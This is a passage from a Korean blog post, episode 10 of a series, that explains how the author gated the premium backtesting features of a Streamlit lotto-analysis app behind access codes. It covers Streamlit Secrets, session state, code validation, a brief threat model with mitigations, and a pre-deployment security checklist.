&lt;li&gt;탭 종료 시 삭제&lt;/li&gt;
&lt;li&gt;서버 재시작 시 초기화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용 사례 (Use Cases):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로그인 상태 유지&lt;/li&gt;
&lt;li&gt;폼 입력 데이터 보존&lt;/li&gt;
&lt;li&gt;페이지 간 데이터 전달&lt;/li&gt;
&lt;li&gt;임시 설정 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  초기화 (Initialization)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;앱 시작 시 세션 상태 초기화&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import streamlit as st

def init_session_state():
    &quot;&quot;&quot;세션 상태 초기화 (Initialize session state)&quot;&quot;&quot;
    # 프리미엄 잠금 상태 (Premium lock state)
    if 'premium_unlocked' not in st.session_state:
        st.session_state.premium_unlocked = False

    # 액세스 코드 입력 횟수 (Access attempts)
    if 'access_attempts' not in st.session_state:
        st.session_state.access_attempts = 0

    # 마지막 액세스 시간 (Last access time)
    if 'last_access_time' not in st.session_state:
        st.session_state.last_access_time = None

# 앱 최상단에서 호출 (Call at top of app)
init_session_state()&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  잠금 해제 UI (Unlock UI)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;프리미엄 기능 잠금 화면&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def show_premium_unlock_ui():
    &quot;&quot;&quot;프리미엄 잠금 해제 UI (Premium unlock UI)&quot;&quot;&quot;
    st.title(&quot;  Premium Features Locked&quot;)

    st.markdown(&quot;&quot;&quot;
    **프리미엄 기능 (Premium Features)**에는 액세스 코드가 필요합니다.

    **포함 기능:**
    - 백테스팅 시스템 (Backtesting System)
    - 가중치 최적화 (Weight Optimization)
    - 성능 메트릭 (Performance Metrics)
    - 실시간 재학습 (Real-time Retraining)
    &quot;&quot;&quot;)

    # 액세스 코드 입력 (Access code input)
    col1, col2 = st.columns([3, 1])

    with col1:
        code_input = st.text_input(
            &quot;액세스 코드 (Access Code)&quot;,
            placeholder=&quot;PREM-XXXX-XXXX&quot;,
            max_chars=14,
            key=&quot;premium_code_input&quot;
        )

    with col2:
        st.markdown(&quot;&amp;lt;br&amp;gt;&quot;, unsafe_allow_html=True)  # 정렬용
        unlock_button = st.button(&quot;  Unlock&quot;, type=&quot;primary&quot;)

    # 잠금 해제 시도 (Unlock attempt)
    if unlock_button:
        if verify_premium_code(code_input):
            st.session_state.premium_unlocked = True
            st.success(&quot;✅ Premium features unlocked!&quot;)
            st.balloons()
            st.rerun()
        else:
            st.session_state.access_attempts += 1
            st.error(&quot;❌ Invalid access code. Please try again.&quot;)

            # 시도 횟수 표시 (Show attempts)
            if st.session_state.access_attempts &amp;gt;= 3:
                st.warning(f&quot;⚠️ Failed attempts: {st.session_state.access_attempts}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;✅ 코드 검증 함수 (Code Verification Function)&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import datetime

def verify_premium_code(input_code):
    &quot;&quot;&quot;프리미엄 코드 검증 (Verify premium code)

    Args:
        input_code: 사용자 입력 코드 (User input code)

    Returns:
        bool: 검증 성공 여부 (Validation result)
    &quot;&quot;&quot;
    # 1. Secrets 로드 (Load secrets)
    try:
        valid_codes = st.secrets[&quot;premium&quot;][&quot;access_codes&quot;]
    except Exception as e:
        st.error(f&quot;❌ Error loading secrets: {e}&quot;)
        return False

    # 2. 입력 정규화 (Normalize input)
    normalized = input_code.upper().strip()

    # 3. 형식 검증 (Format validation)
    import re
    pattern = r'^PREM-[A-Z0-9]{4}-[A-Z0-9]{4}$'
    if not re.match(pattern, normalized):
        return False

    # 4. 코드 존재 확인 (Check existence)
    if normalized in valid_codes:
        # 성공 로그 (Success log)
        st.session_state.last_access_time = datetime.datetime.now()
        return True
    else:
        return False&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  조건부 UI 렌더링 (Conditional UI Rendering)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;프리미엄 상태에 따른 UI 분기&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def backtesting_page():
    &quot;&quot;&quot;백테스팅 페이지 (Backtesting page)&quot;&quot;&quot;
    st.title(&quot;  Backtesting Results&quot;)

    # 프리미엄 확인 (Check premium)
    if not is_premium_unlocked():
        # 잠금 화면 표시 (Show lock screen)
        show_premium_unlock_ui()
        st.stop()  # 여기서 중단 (Stop here)

    # --- 프리미엄 사용자만 아래 코드 실행 ---
    # (Only premium users reach here)

    st.success(&quot;✅ Premium features unlocked!&quot;)

    # 백테스팅 UI (Backtesting UI)
    tab1, tab2, tab3 = st.tabs([
        &quot;  Backtesting Results&quot;,
        &quot;⚙️ Weight Optimization&quot;,
        &quot;  Real-time Retraining&quot;
    ])

    with tab1:
        # 백테스팅 결과 표시
        show_backtesting_results()

    with tab2:
        # 가중치 최적화 UI
        show_weight_optimization()

    with tab3:
        # 실시간 재학습 UI
        show_realtime_retraining()&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  세션 재시작 (Session Rerun)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;상태 변경 후 UI 갱신&lt;/h4&gt;
&lt;pre class=&quot;avrasm&quot;&gt;&lt;code&gt;# 잠금 해제 후 페이지 새로고침 (Rerun after unlock)
if st.button(&quot;  Unlock&quot;):
    if verify_premium_code(code_input):
        st.session_state.premium_unlocked = True
        st.rerun()  # 페이지 즉시 새로고침 (Immediate refresh)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt; ️ 로그아웃 기능 (Logout Feature)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;세션 상태 초기화&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def logout():
    &quot;&quot;&quot;로그아웃 (Logout)&quot;&quot;&quot;
    # 프리미엄 상태 해제 (Clear premium state)
    st.session_state.premium_unlocked = False
    st.session_state.access_attempts = 0
    st.session_state.last_access_time = None
    st.success(&quot;✅ Logged out successfully!&quot;)
    st.rerun()

# 사이드바에 로그아웃 버튼 (Logout button in sidebar)
if st.session_state.premium_unlocked:
    if st.sidebar.button(&quot;  Logout&quot;):
        logout()&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  세션 정보 표시 (Session Info Display)&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def show_session_info():
    &quot;&quot;&quot;세션 정보 표시 (Show session info)&quot;&quot;&quot;
    with st.expander(&quot;  Session Information&quot;):
        st.write(f&quot;**Premium Status:** {'Unlocked ✅' if st.session_state.premium_unlocked else 'Locked  '}&quot;)
        st.write(f&quot;**Access Attempts:** {st.session_state.access_attempts}&quot;)

        if st.session_state.last_access_time:
            st.write(f&quot;**Last Access:** {st.session_state.last_access_time.strftime('%Y-%m-%d %H:%M:%S')}&quot;)

        # 디버그 정보 (Debug info)
        st.write(&quot;**All Session State:**&quot;)
        st.json(dict(st.session_state))&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 보안 고려사항 (Security Considerations)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt; ️ 보안 원칙 (Security Principles)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 최소 권한 원칙 (Principle of Least Privilege)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;적용 사례:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기본 상태: 프리미엄 잠금 (&lt;code&gt;premium_unlocked = False&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;명시적 해제만 허용 (Explicit unlock only)&lt;/li&gt;
&lt;li&gt;세션 종료 시 자동 잠금 (Auto-lock on session end)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;# 기본 잠금 (Default locked)
if 'premium_unlocked' not in st.session_state:
    st.session_state.premium_unlocked = False  # 안전한 기본값&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. 심층 방어 (Defense in Depth)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다층 보안 (Multiple layers):&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Layer 1: 환경 감지 (Environment Detection)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;autoit&quot;&gt;&lt;code&gt;# 로컬 vs 클라우드 구분
if is_local_dev():
    return True  # 로컬 개발자만&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Layer 2: 코드 형식 검증 (Format Validation)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;# 정규표현식 검증
if not re.match(r'^PREM-[A-Z0-9]{4}-[A-Z0-9]{4}$', code):
    return False&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Layer 3: 코드 존재 확인 (Existence Check)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;# Secrets 리스트에서 확인
if code not in valid_codes:
    return False&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Layer 4: 세션 상태 검증 (Session State Verification)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;avrasm&quot;&gt;&lt;code&gt;# 매 요청마다 재확인
if not st.session_state.premium_unlocked:
    show_lock_screen()&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 비밀 정보 보호 (Secret Protection)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;금지 사항 (Do Not):&lt;/b&gt;&lt;br /&gt;❌ 코드에 하드코딩&lt;br /&gt;❌ Git에 커밋&lt;br /&gt;❌ 로그에 출력&lt;br /&gt;❌ URL 파라미터 전달&lt;br /&gt;❌ 클라이언트 측 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;권장 사항 (Recommended):&lt;/b&gt;&lt;br /&gt;✅ Streamlit Secrets 사용&lt;br /&gt;✅ 환경 변수 활용&lt;br /&gt;✅ 서버 측 검증만&lt;br /&gt;✅ HTTPS 통신&lt;br /&gt;✅ 민감 정보 마스킹&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;# 로그에 마스킹 (Mask in logs)
masked_code = code[:8] + &quot;****&quot;
print(f&quot;Access attempt: {masked_code}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  위협 모델 (Threat Model)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;공격 시나리오 및 대응 (Attack Scenarios &amp;amp; Mitigations)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 무차별 대입 공격 (Brute Force Attack)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;위협:&lt;/b&gt; 모든 조합 시도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대응:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;# 시도 횟수 제한 (Limit attempts)
if st.session_state.access_attempts &amp;gt;= 10:
    st.error(&quot;❌ Too many attempts. Please try again later.&quot;)
    st.stop()

# 시도 간 지연 (Delay between attempts)
import time
time.sleep(1)  # 1초 지연&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 코드 유출 (Code Leakage)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;위협:&lt;/b&gt; 코드가 공개 포럼에 유출&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대응:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;코드 1회 사용 후 만료 (One-time use)&lt;/li&gt;
&lt;li&gt;사용자 식별 및 로깅&lt;/li&gt;
&lt;li&gt;유출 시 즉시 코드 교체&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# 사용 이력 기록 (Track usage)
used_codes = st.secrets.get(&quot;used_codes&quot;, [])
if code in used_codes:
    return False, &quot;Code already used&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 세션 하이재킹 (Session Hijacking)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;위협:&lt;/b&gt; 세션 쿠키 탈취&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대응:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Streamlit은 서버 측 세션 사용 (Server-side session)&lt;/li&gt;
&lt;li&gt;HTTPS 강제 (Enforce HTTPS)&lt;/li&gt;
&lt;li&gt;세션 타임아웃 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;avrasm&quot;&gt;&lt;code&gt;# 세션 타임아웃 (Session timeout)
import datetime

if st.session_state.last_access_time:
    elapsed = datetime.datetime.now() - st.session_state.last_access_time
    if elapsed.seconds &amp;gt; 3600:  # 1시간 (1 hour)
        st.session_state.premium_unlocked = False
        st.warning(&quot;⚠️ Session expired. Please login again.&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 클라이언트 측 조작 (Client-side Manipulation)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;위협:&lt;/b&gt; 브라우저 개발자 도구로 세션 상태 조작&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대응:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모든 검증 서버 측에서 수행&lt;/li&gt;
&lt;li&gt;중요 작업 전 재검증&lt;/li&gt;
&lt;li&gt;클라이언트 데이터 신뢰 금지&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;ruby&quot;&gt;&lt;code&gt;# 중요 작업 전 재검증 (Re-verify before critical actions)
def run_backtesting():
    # 서버 측 재검증 (Server-side re-verification)
    if not verify_premium_status():
        st.error(&quot;❌ Unauthorized access&quot;)
        return

    # 백테스팅 실행 (Run backtesting)
    ...&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  감사 로그 (Audit Log)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;접근 기록 (Access Logging)&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;import logging
from datetime import datetime

# 로거 설정 (Setup logger)
logging.basicConfig(
    filename='premium_access.log',
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)

def log_premium_access(code, success, ip=None):
    &quot;&quot;&quot;프리미엄 접근 로그 (Log premium access)&quot;&quot;&quot;
    masked_code = code[:8] + &quot;****&quot; if code else &quot;None&quot;
    status = &quot;SUCCESS&quot; if success else &quot;FAILURE&quot;

    logging.info(f&quot;Premium access attempt: {status} | Code: {masked_code} | IP: {ip}&quot;)

    # Streamlit Cloud에서는 st.write로 대체 가능
    # (In Streamlit Cloud, can use st.write instead)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;통계 대시보드 (Statistics Dashboard)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def show_access_statistics():
    &quot;&quot;&quot;액세스 통계 표시 (Show access statistics)&quot;&quot;&quot;
    st.subheader(&quot;  Access Statistics&quot;)

    # 전체 시도 (Total attempts)
    st.metric(&quot;Total Attempts&quot;, st.session_state.access_attempts)

    # 성공률 (Success rate)
    success_rate = 100 if st.session_state.premium_unlocked else 0
    st.metric(&quot;Success Rate&quot;, f&quot;{success_rate}%&quot;)

    # 마지막 접근 (Last access)
    if st.session_state.last_access_time:
        st.metric(&quot;Last Access&quot;, st.session_state.last_access_time.strftime('%Y-%m-%d %H:%M:%S'))&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;✅ 보안 체크리스트 (Security Checklist)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;배포 전 확인 사항 (Pre-deployment Checklist)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; &lt;code&gt;.streamlit/secrets.toml&lt;/code&gt;이 &lt;code&gt;.gitignore&lt;/code&gt;에 있는가?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; Streamlit Cloud Secrets가 설정되었는가?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 로컬 환경 변수 &lt;code&gt;LOTTO_DEV_MODE&lt;/code&gt; 제거했는가?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 액세스 코드가 코드에 하드코딩되지 않았는가?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 모든 검증이 서버 측에서 수행되는가?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 에러 메시지가 민감 정보를 노출하지 않는가?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; HTTPS가 활성화되어 있는가? (Streamlit Cloud 자동)&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 세션 타임아웃이 설정되었는가?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 로그에 민감 정보가 포함되지 않는가?&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;disabled&quot; type=&quot;checkbox&quot; /&gt; 프리미엄 기능이 올바르게 보호되는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;코드 리뷰 항목 (Code Review Items)&lt;/h4&gt;
&lt;pre class=&quot;avrasm&quot;&gt;&lt;code&gt;# ✅ 올바른 예 (Correct)
if &quot;premium&quot; in st.secrets:
    codes = st.secrets[&quot;premium&quot;][&quot;access_codes&quot;]

# ❌ 잘못된 예 (Incorrect)
codes = [&quot;PREM-A1B2-C3D4&quot;]  # 하드코딩 금지!&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;# ✅ 올바른 예 (Correct)
if normalized in valid_codes:
    st.session_state.premium_unlocked = True

# ❌ 잘못된 예 (Incorrect)
st.session_state.premium_unlocked = True  # 검증 없이!&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  관련 링크 (Related Links)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;GitHub&lt;/b&gt;: &lt;a href=&quot;https://github.com/MyJYP/lotter645_1227&quot;&gt;lotter645_1227&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit App&lt;/b&gt;: &lt;a href=&quot;https://lo645251227.streamlit.app/&quot;&gt;로또 645 분석 웹 앱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit Secrets 문서&lt;/b&gt;: &lt;a href=&quot;https://docs.streamlit.io/develop/concepts/connections/secrets-management&quot;&gt;https://docs.streamlit.io/develop/concepts/connections/secrets-management&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit Session State 문서&lt;/b&gt;: &lt;a href=&quot;https://docs.streamlit.io/develop/api-reference/caching-and-state/st.session_state&quot;&gt;https://docs.streamlit.io/develop/api-reference/caching-and-state/st.session_state&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;환경 변수 가이드&lt;/b&gt;: &lt;a href=&quot;https://docs.streamlit.io/deploy/streamlit-community-cloud/deploy-your-app/secrets-management&quot;&gt;https://docs.streamlit.io/deploy/streamlit-community-cloud/deploy-your-app/secrets-management&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이전 에피소드&lt;/b&gt;: &lt;a href=&quot;Episode_09.md&quot;&gt;9편 - 파일이 기억하는 순간들&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  마무리하며 (Closing Thoughts)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;PREM-&lt;b&gt;&lt;b&gt;-&lt;/b&gt;&lt;/b&gt;&quot;. 단순한 문자열이었다. 하지만 이 14글자가 문을 여는 열쇠였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;100개의 특별한 입장권. 각각이 백테스팅 시스템으로 가는 티켓이었다. 무차별 대입으로는 2.8조 번을 시도해야 한다. 하지만 한 개의 올바른 코드만 있으면 즉시 열린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;환경을 감지했다. &lt;code&gt;LOTTO_DEV_MODE=&quot;true&quot;&lt;/code&gt;면 로컬 개발자. &lt;code&gt;streamlit.runtime.exists()&lt;/code&gt;면 Streamlit Cloud. 두 세계를 구분하고, 각각에 맞는 규칙을 적용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Streamlit Secrets. &lt;code&gt;.streamlit/secrets.toml&lt;/code&gt;. 로컬에선 파일, 클라우드에선 대시보드. 같은 내용, 다른 형식. 절대 Git에 커밋하지 않는다. &lt;code&gt;.gitignore&lt;/code&gt;가 지켜준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 상태. &lt;code&gt;st.session_state.premium_unlocked&lt;/code&gt;. 브라우저 탭이 살아있는 한 기억한다. 탭을 닫으면 잊는다. 서버가 재시작되면 초기화된다. 완벽한 휘발성 메모리.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;심층 방어. 환경 감지 &amp;rarr; 형식 검증 &amp;rarr; 코드 존재 확인 &amp;rarr; 세션 상태 검증. 네 개의 벽. 하나만 뚫어서는 부족하다. 모두 통과해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안은 완벽할 수 없다. 하지만 적절할 수는 있다. 로또 분석 프로젝트에 OAuth는 과하다. 액세스 코드는 딱 맞다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;100개의 코드가 100명의 얼리 어답터를 만들었다. 특별한 사람들. 백테스팅 결과를 가장 먼저 볼 사람들.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문을 여는 코드. PREM-&lt;b&gt;&lt;b&gt;-&lt;/b&gt;&lt;/b&gt;. 이제 당신도 그 중 한 명이 될 수 있다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  SEO 태그&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;#포함 해시태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#프리미엄인증 #액세스코드 #StreamlitSecrets #환경감지 #세션상태 #보안설계 #접근제어 #PREM코드 #인증시스템 #웹보안&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;쉼표 구분 태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프리미엄인증, 액세스코드, Streamlit Secrets, 환경감지, 세션상태, 보안설계, 접근제어, PREM코드, 인증시스템, 웹보안, Python, Streamlit, 보안, 인증, 환경변수, 세션관리, 코드검증, 심층방어, 최소권한, 감사로그&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성&lt;/b&gt;: @MyJYP&lt;br /&gt;&lt;b&gt;시리즈&lt;/b&gt;: 로또 645 데이터 분석 프로젝트 (10/10) ⭐ 시리즈 완결 ⭐&lt;br /&gt;&lt;b&gt;라이선스&lt;/b&gt;: CC BY-NC-SA 4.0&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  Claude Code 사용량&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 전:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 40,244 tokens&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 후:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 61,085 tokens (약 31% 사용) (17% 사용 = 71% -54%)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용량 차이:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Episode 10 작성 사용량: ~20,841 tokens&lt;/li&gt;
&lt;li&gt;이미지 5개 생성 + 본문 작성 포함&lt;/li&gt;
&lt;li&gt;generate_episode10_images.py 스크립트 작성 (20KB) 포함&lt;/li&gt;
&lt;li&gt;프리미엄 인증 시스템 전체 구현 포함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;시리즈 마지막 편 (Series Finale)&lt;/b&gt; - 에피소드 1~10 완료!&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고:&lt;/b&gt; 이 에피소드는 10편 시리즈의 마지막 편입니다.  &lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주간사용량 2%사용 (85% -83%)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  시리즈 완결 기념 (Series Completion)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  전체 에피소드 요약&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Episode 1&lt;/b&gt;: 첫 줄의 코드, 605회의 시작 (The First Line: 605 Beginnings) &lt;a href=&quot;https://thepin.tistory.com/194&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/194&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Episode 2&lt;/b&gt;: 숫자가 말을 걸 때 (When Numbers Speak) &lt;a href=&quot;https://thepin.tistory.com/193&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/193&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Episode 3&lt;/b&gt;: 시간은 흐르고, 데이터는 남고 (Time Flows, Data Remains) &lt;a href=&quot;https://thepin.tistory.com/192&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/192&lt;/a&gt;&lt;/li&gt;
